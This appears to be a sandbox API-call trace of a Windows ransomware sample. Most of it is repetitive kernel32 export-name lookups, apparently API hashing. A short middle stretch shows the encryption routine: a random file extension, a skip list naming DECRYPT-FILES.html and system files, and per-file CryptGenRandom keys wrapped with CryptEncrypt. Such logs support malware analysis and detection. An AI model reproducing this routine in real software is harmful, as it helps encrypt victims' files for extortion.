lpString1=0x38bdda8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0142.978] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0142.978] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0142.978] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0142.978] lstrlenA (lpString="COPYCONTEXT") returned 11 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0142.978] lstrlenA (lpString="COPYFILE2") returned 9 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0142.978] lstrlenA (lpString="COPYFILEA") returned 9 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0142.978] lstrlenA (lpString="COPYFILEEXA") returned 11 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0142.978] lstrlenA (lpString="COPYFILEEXW") returned 11 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0142.978] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0142.978] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0142.978] lstrlenA (lpString="COPYFILEW") returned 9 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0142.978] lstrlenA (lpString="COPYLZFILE") returned 10 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0142.978] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0142.978] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0142.978] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0142.978] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0142.978] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0142.978] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0142.978] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0142.978] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0142.979] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0142.979] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0142.979] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0142.979] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0142.979] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0142.979] lstrlenA (lpString="CREATEEVENTA") returned 12 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0142.979] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0142.979] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0142.979] lstrlenA (lpString="CREATEEVENTW") returned 12 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0142.979] lstrlenA (lpString="CREATEFIBER") returned 11 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0142.979] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0142.979] lstrlenA (lpString="CREATEFILE2") returned 11 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0142.979] lstrlenA (lpString="CREATEFILEA") returned 11 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0142.979] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0142.979] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0142.979] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0142.979] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0142.979] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0142.979] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0142.979] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0142.979] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0142.980] lstrlenA (lpString="CREATEFILEW") returned 11 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0142.980] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0142.980] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0142.980] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0142.980] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0142.980] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0142.980] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0142.980] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0142.980] lstrlenA (lpString="CREATEJOBSET") returned 12 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0142.980] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0142.980] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0142.980] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0142.980] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0142.980] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0142.980] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0142.980] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0142.980] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0142.980] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0142.980] lstrlenA (lpString="CREATEPIPE") returned 10 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0142.980] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0142.980] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0142.980] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0142.981] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0142.981] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0142.981] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0142.981] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0142.981] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0142.981] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0142.981] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0142.981] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0142.981] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0142.981] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0142.981] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0142.981] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0142.981] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0142.981] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0142.981] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0142.981] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0142.981] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0142.981] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0142.981] lstrlenA (lpString="CREATETHREAD") returned 12 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0142.981] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0142.981] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0142.982] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0142.982] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0142.982] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0142.982] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0142.982] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0142.982] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0142.982] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0142.982] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0142.982] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0142.982] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0142.982] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0142.982] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0142.982] wsprintfW (in: param_1=0x38bea60, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\DHtmlHeader.html.URMkCFP") returned 46 [0142.982] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), lpNewFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.URMkCFP" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.urmkcfp"), dwFlags=0x0) returned 1 [0142.983] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.983] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.983] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.984] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x31, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="DECRYPT-FILES.html") returned 1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="autorun.inf") returned 1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="boot.ini") returned 1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="desktop.ini") returned 1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="ntuser.dat") returned -1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="iconcache.db") returned -1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="bootsect.bak") returned 1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="ntuser.dat.log") returned -1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="thumbs.db") returned -1 [0142.984] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="Bootfont.bin") returned 1 [0142.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\") returned 22 [0142.984] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0142.984] lstrcpyW (in: lpString1=0x38bf260, lpString2="C:\\588bce7c90097ed212\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0142.984] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="DisplayIcon.ico" | out: lpString1="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned="C:\\588bce7c90097ed212\\DisplayIcon.ico" [0142.984] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0142.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0142.985] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x38bea28 | out: lpFileSize=0x38bea28*=88533) returned 1 [0142.985] CreateFileMappingW (hFile=0x528, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x470 [0142.985] MapViewOfFile (hFileMappingObject=0x470, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0144.692] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0144.692] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0144.692] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0144.693] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be990*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be990*=0x100) returned 1 [0144.693] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0145.945] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.945] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0145.946] CloseHandle (hObject=0x470) returned 1 [0145.946] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.947] WriteFile (in: hFile=0x528, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be9b0, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be9b0*=0x108, lpOverlapped=0x0) returned 1 [0146.286] CloseHandle (hObject=0x0) returned 0 [0146.286] CloseHandle (hObject=0x528) returned 1 [0146.367] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.367] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.367] GetTickCount () returned 0x39de7 [0146.368] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.368] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0146.368] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0146.368] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0146.369] lstrlenA (lpString="kernel32.dll") returned 12 [0146.369] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0146.369] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0146.369] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0146.369] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0146.369] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0146.369] lstrlenA (lpString="ADDATOMA") returned 8 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0146.369] lstrlenA (lpString="ADDATOMW") returned 8 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0146.369] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0146.369] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0146.369] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0146.369] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0146.369] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0146.370] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0146.370] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0146.370] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0146.370] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" 